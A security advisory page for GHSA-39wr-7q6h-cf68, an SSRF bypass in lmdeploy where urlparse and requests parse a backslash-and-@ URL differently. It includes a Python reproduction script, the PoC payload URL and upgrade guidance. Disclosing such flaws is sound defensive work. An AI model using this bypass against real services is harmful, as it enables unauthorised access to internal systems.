GHSA-39wr-7q6h-cf68 LMDeploy has an SSRF bypass

Not scored Published

Attackers can bypass URL validation to perform Server-Side Request Forgery attacks against internal services.

Exploited in the wild
Not known
Login needed
Not needed
Attackable
Over the internet
Victim action needed
Not needed
Fix
Available

What is GHSA-39wr-7q6h-cf68?

GHSA-39wr-7q6h-cf68 is a server-side request forgery vulnerability in lmdeploy, published on 18 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

Summary

The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

Details

The current lmdeploy project uses _is_safe_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. <img width="943" height="836" alt="QQ20260416-203956-16-1" src="https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d" /> However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _is_safe_url for URL validation, and then using requests.Session().get to send the request. <img width="1086" height="576" alt="QQ20260416-204053-16-2" src="https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a" /> The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

  • urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
  • requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the code.

from urllib.parse import urlparse
import ipaddress
import socket
import requests

def _is_safe_url(url: str) -&gt; tuple[bool, str]:
    &#34;&#34;&#34;Check if the URL is safe to fetch (not internal/private).&#34;&#34;&#34;
    try:
        parsed = urlparse(url)
        if parsed.scheme not in (&#34;http&#34;, &#34;https&#34;):
            return False, f&#34;Unsupported scheme: {parsed.scheme}&#34;

        hostname = parsed.hostname
        if not hostname:
            return False, &#34;Could not parse hostname from URL&#34;

        # check all IPs (IPv4 + IPv6) using getaddrinfo
        try:
            infos = socket.getaddrinfo(hostname, None)
        except socket.gaierror:
            return False, &#34;Hostname resolution failed&#34;

        for info in infos:
            ip = ipaddress.ip_address(info[4][0])
            # block any IP that is not globally routable (covers private, loopback,
            # link-local, multicast, reserved, unspecified, etc.)
            if not ip.is_global:
                return False, f&#34;Blocked non-global IP detected: {ip}&#34;

        return True, &#34;URL is safe&#34;
    except Exception as e:
        return False, f&#34;URL validation failed: {str(e)}&#34;

# url = &#34;http://127.0.0.1:6666&#34;
url = &#34;http://127.0.0.1:6666\@1.1.1.1&#34;
is_safe, reason = _is_safe_url(url)
if not is_safe:
    raise ValueError(f&#34;URL is blocked for security reasons: {reason}&#34;)

fetch_timeout = 10

client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)

When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. <img width="1286" height="195" alt="QQ20260416-204234-16-3" src="https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9" /> However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.

<img width="2064" height="154" alt="QQ20260416-204319-16-4" src="https://github.com/user-attachments/assets/5da18f35-f400-46e6-9bf3-1330ba424b02" />

PoC

http://127.0.0.1:6666\@1.1.1.1

Impact

SSRF

Which versions are affected by GHSA-39wr-7q6h-cf68?

2 open source packages ship an affected version, including lmdeploy.

PackageAffectedFixed in
lmdeploy PyPIFrom 0.12.30.15.0
lmdeploy PyPIFrom 0.12.30.15.0

How do I fix GHSA-39wr-7q6h-cf68?

Upgrade lmdeploy to 0.15.0 or later.

Upgrade, and send outbound requests through an allow-list that blocks internal addresses. More about Server-side request forgery.

Is GHSA-39wr-7q6h-cf68 being exploited?

There is no known exploitation of GHSA-39wr-7q6h-cf68 in the wild and no public exploit code.

Sources

Is GHSA-39wr-7q6h-cf68 in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free